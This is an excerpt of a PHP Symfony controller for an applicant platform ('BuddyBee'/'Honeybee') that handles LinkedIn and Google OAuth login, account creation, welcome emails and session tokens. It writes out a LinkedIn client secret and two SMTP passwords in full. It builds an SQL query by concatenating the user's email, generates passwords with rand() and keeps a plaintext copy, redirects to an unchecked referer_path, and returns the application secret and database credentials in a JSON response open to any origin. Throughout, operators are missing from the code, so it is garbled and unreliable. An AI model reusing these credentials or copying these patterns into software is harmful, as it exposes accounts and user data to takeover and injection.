  7224.             curl_setopt_array($curl, array(
  7225.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7226.                 CURLOPT_HEADER => false,  // don't return headers
  7227.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7228.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7229.                 CURLOPT_ENCODING => "",     // handle compressed
  7230.                 CURLOPT_USERAGENT => "test"// name of client
  7231.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7232.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7233.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7234.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7235.                 CURLOPT_USERAGENT => 'InnoPM',
  7236.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7237.                 CURLOPT_POST => 1,
  7238.                 CURLOPT_HTTPHEADER => array(
  7239.                     'Content-Type: application/x-www-form-urlencoded'
  7240.                 )
  7241.             ));
  7242.             $content curl_exec($curl);
  7243.             $contentArray = [];
  7244.             curl_close($curl);
  7245.             $token false;
  7246. //      return new JsonResponse(array(
  7247. //          'content'=>$content,
  7248. //          'contentArray'=>json_decode($content,true),
  7249. //
  7250. //      ));
  7251.             if ($content) {
  7252.                 $contentArray json_decode($contenttrue);
  7253.                 $token $contentArray['access_token'];
  7254.             }
  7255.             if ($token) {
  7256.                 $applicantInfo = [];
  7257.                 $curl curl_init();
  7258.                 curl_setopt_array($curl, array(
  7259.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7260.                     CURLOPT_HEADER => false,  // don't return headers
  7261.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7262.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7263.                     CURLOPT_ENCODING => "",     // handle compressed
  7264.                     CURLOPT_USERAGENT => "test"// name of client
  7265.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7266.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7267.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7268.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7269.                     CURLOPT_USERAGENT => 'InnoPM',
  7270.                     CURLOPT_HTTPGET => 1,
  7271.                     CURLOPT_HTTPHEADER => array(
  7272.                         'Authorization: Bearer ' $token,
  7273.                         'Header-Key-2: Header-Value-2'
  7274.                     )
  7275.                 ));
  7276.                 $userGeneralcontent curl_exec($curl);
  7277.                 curl_close($curl);
  7278.                 if ($userGeneralcontent) {
  7279.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7280.                 }
  7281.                 $curl curl_init();
  7282.                 curl_setopt_array($curl, array(
  7283.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7284.                     CURLOPT_HEADER => false,  // don't return headers
  7285.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7286.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7287.                     CURLOPT_ENCODING => "",     // handle compressed
  7288.                     CURLOPT_USERAGENT => "test"// name of client
  7289.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7290.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7291.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7292.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7293. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7294.                     CURLOPT_USERAGENT => 'InnoPM',
  7295.                     CURLOPT_HTTPGET => 1,
  7296.                     CURLOPT_HTTPHEADER => array(
  7297.                         'Authorization: Bearer ' $token,
  7298.                         'Header-Key-2: Header-Value-2'
  7299.                     )
  7300.                 ));
  7301.                 $userEmailcontent curl_exec($curl);
  7302.                 curl_close($curl);
  7303.                 $token false;
  7304.                 if ($userEmailcontent) {
  7305.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7306.                 }
  7307. //        $oAuthEmail = $applicantInfo['email'];
  7308. //        return new JsonResponse(array(
  7309. //          'userEmailcontent'=>$userEmailcontent,
  7310. //          'userGeneralcontent'=>$userGeneralcontent,
  7311. //        ));
  7312. //        return new response($userGeneralcontent);
  7313.                 $oAuthData = [
  7314.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7315.                     'uniqueId' => $userGeneralcontent['id'],
  7316.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7317.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7318.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7319.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7320.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7321.                     'type' => 1,
  7322.                     'token' => $token,
  7323.                 ];
  7324.             }
  7325.         } else if (isset($_GET["code"])) {
  7326.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7327.             if (!isset($token['error'])) {
  7328.                 $google_client->setAccessToken($token['access_token']);
  7329.                 $google_service = new Google_Service_Oauth2($google_client);
  7330.                 $applicantInfo $google_service->userinfo->get();
  7331.                 $oAuthEmail $applicantInfo['email'];
  7332.                 $oAuthData = [
  7333.                     'email' => $applicantInfo['email'],
  7334.                     'uniqueId' => $applicantInfo['id'],
  7335.                     'image' => $applicantInfo['picture'],
  7336.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7337.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7338.                     'firstName' => $applicantInfo['givenName'],
  7339.                     'lastName' => $applicantInfo['familyName'],
  7340.                     'type' => $token['token_type'],
  7341.                     'token' => $token['access_token'],
  7342.                 ];
  7343.             }
  7344.         } else if (isset($_GET["access_token"])) {
  7345.             $token $_GET["access_token"];
  7346.             $tokenType $_GET["token_type"];
  7347.             if (!isset($token['error'])) {
  7348.                 $google_client->setAccessToken($token);
  7349.                 $google_service = new Google_Service_Oauth2($google_client);
  7350.                 $applicantInfo $google_service->userinfo->get();
  7351.                 $oAuthEmail $applicantInfo['email'];
  7352.                 $oAuthData = [
  7353.                     'email' => $applicantInfo['email'],
  7354.                     'uniqueId' => $applicantInfo['id'],
  7355.                     'image' => $applicantInfo['picture'],
  7356.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7357.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7358.                     'firstName' => $applicantInfo['givenName'],
  7359.                     'lastName' => $applicantInfo['familyName'],
  7360.                     'type' => $tokenType,
  7361.                     'token' => $token,
  7362.                 ];
  7363.             }
  7364.         }
  7365.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7366.             $isApplicantExist $applicantRepo->findOneBy([
  7367.                 'email' => $oAuthData['email']
  7368.             ]);
  7369.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7370.                 $isApplicantExist $applicantRepo->findOneBy([
  7371.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7372.                 ]);
  7373.             }
  7374.             if (!$isApplicantExist) {
  7375.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  7376.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  7377.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  7378.                     ->getQuery()
  7379.                     ->getResult();
  7380.                 if (!empty($usersQueried))
  7381.                     $isApplicantExist $usersQueried[0];
  7382.             }
  7383.             if ($isApplicantExist) {
  7384.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7385.                 } else
  7386.                     return $this->redirectToRoute("core_login", [
  7387.                         'id' => $isApplicantExist->getApplicantId(),
  7388.                         'oAuthData' => $oAuthData,
  7389.                         'encData' => $encData,
  7390.                         'locale' => $request->request->get('locale''en'),
  7391.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7392.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7393.                     ]);
  7394.             } else {
  7395.                 $fname $oAuthData['firstName'];
  7396.                 $lname $oAuthData['lastName'];
  7397.                 $img $oAuthData['image'];
  7398.                 $email $oAuthData['email'];
  7399.                 $oAuthEmail $oAuthData['email'];
  7400.                 $userName explode('@'$email)[0];
  7401.                 //now check if same username exists
  7402.                 $username_already_exist 1;
  7403.                 $initial_user_name $userName;
  7404.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7405.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7406.                     $isUsernameExist $applicantRepo->findOneBy([
  7407.                         'username' => $userName
  7408.                     ]);
  7409.                     if ($isUsernameExist) {
  7410.                         $username_already_exist 1;
  7411.                         $userName $initial_user_name '' rand(3009987);
  7412.                     } else {
  7413.                         $username_already_exist 0;
  7414.                     }
  7415.                     $timeoutSafeCount--;
  7416.                 }
  7417.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7418.                     $currentUnixTimeStamp '';
  7419.                     $currentUnixTime = new \DateTime();
  7420.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7421.                     $userName $userName '' $currentUnixTimeStamp;
  7422.                 }
  7423.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7424.                 $charactersLength strlen($characters);
  7425.                 $length 8;
  7426.                 $password 0;
  7427.                 for ($i 0$i $length$i++) {
  7428.                     $password .= $characters[rand(0$charactersLength 1)];
  7429.                 }
  7430.                 $newApplicant = new EntityApplicantDetails();
  7431.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7432.                 $newApplicant->setEmail($email);
  7433.                 $newApplicant->setUserName($userName);
  7434.                 $newApplicant->setFirstname($fname);
  7435.                 $newApplicant->setLastname($lname);
  7436.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7437.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7438.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7439.                 $newApplicant->setAccountStatus(1);
  7440.                 $salt uniqid(mt_rand());
  7441.                 $encodedPassword $this->container->get('sha256salted_encoder')->encodePassword($password$salt);
  7442.                 $newApplicant->setPassword($encodedPassword);
  7443.                 $newApplicant->setSalt($salt);
  7444.                 $newApplicant->setTempPassword($password);;
  7445. //                $newApplicant->setPassword($password);
  7446.                 $marker $userName '-' time();
  7447. //                $extension_here=$uploadedFile->guessExtension();
  7448. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7449. //                $path = $fileName;
  7450.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7451.                 if (!file_exists($upl_dir)) {
  7452.                     mkdir($upl_dir0777true);
  7453.                 }
  7454.                 $ch curl_init($img);
  7455.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7456.                 curl_setopt($chCURLOPT_FILE$fp);
  7457.                 curl_setopt($chCURLOPT_HEADER0);
  7458.                 curl_exec($ch);
  7459.                 curl_close($ch);
  7460.                 fclose($fp);
  7461.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7462. //                $newApplicant->setImage($img);
  7463.                 $newApplicant->setIsConsultant(0);
  7464.                 $newApplicant->setIsTemporaryEntry(0);
  7465.                 $newApplicant->setApplyForConsultant(0);
  7466.                 $em->persist($newApplicant);
  7467.                 $em->flush();
  7468.                 $isApplicantExist $newApplicant;
  7469.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7470.                     if ($systemType == '_BUDDYBEE_') {
  7471.                         $bodyHtml '';
  7472.                         $bodyTemplate 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  7473.                         $bodyData = array(
  7474.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7475.                             'email' => $userName,
  7476.                             'password' => $newApplicant->getPassword(),
  7477.                         );
  7478.                         $attachments = [];
  7479.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7480. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7481.                         $new_mail $this->get('mail_module');
  7482.                         $new_mail->sendMyMail(array(
  7483.                             'senderHash' => '_CUSTOM_',
  7484.                             //                        'senderHash'=>'_CUSTOM_',
  7485.                             'forwardToMailAddress' => $forwardToMailAddress,
  7486.                             'subject' => 'Welcome to BuddyBee ',
  7487. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7488.                             'attachments' => $attachments,
  7489.                             'toAddress' => $forwardToMailAddress,
  7490.                             'fromAddress' => 'registration@buddybee.eu',
  7491.                             'userName' => 'registration@buddybee.eu',
  7492.                             'password' => 'Y41dh8g0112',
  7493.                             'smtpServer' => 'smtp.hostinger.com',
  7494.                             'smtpPort' => 465,
  7495.                             'encryptionMethod' => 'ssl',
  7496. //                            'emailBody' => $bodyHtml,
  7497.                             'mailTemplate' => $bodyTemplate,
  7498.                             'templateData' => $bodyData,
  7499. //                        'embedCompanyImage' => 1,
  7500. //                        'companyId' => $companyId,
  7501. //                        'companyImagePath' => $company_data->getImage()
  7502.                         ));
  7503.                     } else {
  7504.                         $bodyHtml '';
  7505.                         $bodyTemplate 'ApplicationBundle:email/user:applicant_login.html.twig';
  7506.                         $bodyData = array(
  7507.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7508.                             'email' => 'APP-' $userName,
  7509.                             'password' => $newApplicant->getPassword(),
  7510.                         );
  7511.                         $attachments = [];
  7512.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7513. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7514.                         $new_mail $this->get('mail_module');
  7515.                         $new_mail->sendMyMail(array(
  7516.                             'senderHash' => '_CUSTOM_',
  7517.                             //                        'senderHash'=>'_CUSTOM_',
  7518.                             'forwardToMailAddress' => $forwardToMailAddress,
  7519.                             'subject' => 'Applicant Registration on Honeybee',
  7520. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7521.                             'attachments' => $attachments,
  7522.                             'toAddress' => $forwardToMailAddress,
  7523.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7524.                             'userName' => 'accounts@ourhoneybee.eu',
  7525.                             'password' => 'Honeybee@0112',
  7526.                             'smtpServer' => 'smtp.hostinger.com',
  7527.                             'smtpPort' => 465,
  7528.                             'encryptionMethod' => 'ssl',
  7529. //                            'emailBody' => $bodyHtml,
  7530.                             'mailTemplate' => $bodyTemplate,
  7531.                             'templateData' => $bodyData,
  7532. //                        'embedCompanyImage' => 1,
  7533. //                        'companyId' => $companyId,
  7534. //                        'companyImagePath' => $company_data->getImage()
  7535.                         ));
  7536.                     }
  7537.                 }
  7538.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7539.                 } else {
  7540.                     return $this->redirectToRoute("core_login", [
  7541.                         'id' => $newApplicant->getApplicantId(),
  7542.                         'oAuthData' => $oAuthData,
  7543.                         'encData' => $encData,
  7544.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7545.                         'locale' => $request->request->get('locale''en'),
  7546.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7547.                     ]);
  7548.                 }
  7549.             }
  7550.         }
  7551.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7552.             if ($isApplicantExist) {
  7553.                 $user $isApplicantExist;
  7554.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7555.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7556.                 $globalId $user->getApplicantId();
  7557.                 $gocList $em
  7558.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7559.                     ->findBy(
  7560.                         array(//                        'active' => 1
  7561.                         )
  7562.                     );
  7563.                 $gocDataList = [];
  7564.                 $gocDataListForLoginWeb = [];
  7565.                 $gocDataListByAppId = [];
  7566.                 foreach ($gocList as $entry) {
  7567.                     $d = array(
  7568.                         'name' => $entry->getName(),
  7569.                         'image' => $entry->getImage(),
  7570.                         'id' => $entry->getId(),
  7571.                         'appId' => $entry->getAppId(),
  7572.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7573.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7574.                         'dbName' => $entry->getDbName(),
  7575.                         'dbUser' => $entry->getDbUser(),
  7576.                         'dbPass' => $entry->getDbPass(),
  7577.                         'dbHost' => $entry->getDbHost(),
  7578.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7579.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7580.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7581.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7582.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7583.                     );
  7584.                     $gocDataList[$entry->getId()] = $d;
  7585.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7586.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7587.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7588.                 }
  7589.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7590.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7591.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7592.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7593.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7594.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7595.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7596.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7597.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7598.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7599.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7600.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7601.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7602.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7603.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7604.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7605.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7606.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7607.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7608.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7609.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7610.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7611.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7612.                     $session->set('userCompanyVibrantList'json_encode([]));
  7613.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7614.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7615.                     $session->set(UserConstants::USER_APP_ID0);
  7616.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7617.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7618.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7619.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7620.                     $session->set(UserConstants::USER_GOC_ID0);
  7621.                     $session->set(UserConstants::USER_DB_NAME'');
  7622.                     $session->set(UserConstants::USER_DB_USER'');
  7623.                     $session->set(UserConstants::USER_DB_PASS'');
  7624.                     $session->set(UserConstants::USER_DB_HOST'');
  7625.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7626.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7627.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7628.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7629.                     $session->set('locale'$request->request->get('locale'''));
  7630.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7631.                     $route_list_array = [];
  7632.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7633.                     $loginID 0;
  7634.                     $loginID MiscActions::addEntityUserLoginLog(
  7635.                         $em,
  7636.                         $session->get(UserConstants::USER_ID),
  7637.                         $session->get(UserConstants::USER_ID),
  7638.                         1,
  7639.                         $request->server->get("REMOTE_ADDR"),
  7640.                         0,
  7641.                         $request->request->get('deviceId'''),
  7642.                         $request->request->get('oAuthToken'''),
  7643.                         $request->request->get('oAuthType'''),
  7644.                         $request->request->get('locale'''),
  7645.                         $request->request->get('firebaseToken''')
  7646.                     );
  7647.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7648.                     $session_data = array(
  7649.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7650.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7651.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7652.                         'oAuthToken' => $session->get('oAuthToken'),
  7653.                         'locale' => $session->get('locale'),
  7654.                         'firebaseToken' => $session->get('firebaseToken'),
  7655.                         'token' => $session->get('token'),
  7656.                         'firstLogin' => 0,
  7657.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7658.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7659.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7660.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7661.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7662.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7663.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7664.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7665.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7666.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7667.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7668.                         'oAuthImage' => $session->get('oAuthImage'),
  7669.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7670.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7671.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7672.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7673.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7674.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7675.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7676.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7677.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7678.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7679.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7680.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7681.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7682.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7683.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7684.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7685.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7686.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7687.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7688.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7689.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7690.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7691.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7692.                         //new
  7693.                         'appIdList' => $session->get('appIdList'),
  7694.                         'branchIdList' => $session->get('branchIdList'null),
  7695.                         'branchId' => $session->get('branchId'null),
  7696.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7697.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7698.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7699.                     );
  7700.                     $accessList = [];
  7701. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7702.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7703.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7704.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7705.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7706.                                 $d = array(
  7707.                                     'userType' => $thisUserUserType,
  7708. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7709.                                     'userTypeName' => $userTypeName,
  7710.                                     'globalId' => $globalId,
  7711.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7712.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7713.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7714.                                     'systemType' => '_ERP_',
  7715.                                     'companyId' => 1,
  7716.                                     'appId' => $thisUserAppId,
  7717.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7718.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7719.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7720.                                             array(
  7721.                                                 'globalId' => $globalId,
  7722.                                                 'appId' => $thisUserAppId,
  7723.                                                 'authenticate' => 1,
  7724.                                                 'userType' => $thisUserUserType,
  7725.                                                 'userTypeName' => $userTypeName
  7726.                                             )
  7727.                                         )
  7728.                                     ),
  7729.                                     'userCompanyList' => [
  7730.                                     ]
  7731.                                 );
  7732.                                 $accessList[] = $d;
  7733.                             }
  7734.                         }
  7735.                     }
  7736.                     $session_data['userAccessList'] = $accessList;
  7737.                     $session->set('userAccessList'json_encode($accessList));
  7738.                     $session_data $this->filterClientSessionData($session_data);
  7739.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7740.                     $session_data $tokenData['sessionData'];
  7741.                     $token $tokenData['token'];
  7742.                     $session->set('token'$token);
  7743.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7744.                         $session->set('remoteVerified'1);
  7745.                         $response = new JsonResponse(array(
  7746.                             'token' => $token,
  7747.                             'uid' => $session->get(UserConstants::USER_ID),
  7748.                             'session' => $session,
  7749.                             'success' => true,
  7750.                             'session_data' => $session_data,
  7751.                         ));
  7752.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7753.                         return $response;
  7754.                     }
  7755.                     if ($request->request->has('referer_path')) {
  7756.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7757.                             return $this->redirect($request->request->get('referer_path'));
  7758.                         }
  7759.                     }
  7760.                     $redirectRoute 'applicant_dashboard';
  7761.                     if ($request->query->has('encData')) {
  7762.                         if ($request->query->get('encData') == '8917922')
  7763.                             $redirectRoute 'apply_for_consultant';
  7764.                     }
  7765.                     return $this->redirectToRoute($redirectRoute);
  7766.                 }
  7767. //                    $response = new JsonResponse(array(
  7768. //                        'token' => $token,
  7769. //                        'uid' => $session->get(UserConstants::USER_ID),
  7770. //                        'session' => $session,
  7771. //
  7772. //                        'success' => true,
  7773. //                        'session_data' => $session_data,
  7774. //
  7775. //                    ));
  7776. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7777. //                    return $response;
  7778. //                    return $this->redirectToRoute("user_login", [
  7779. //                        'id' => $isApplicantExist->getApplicantId(),
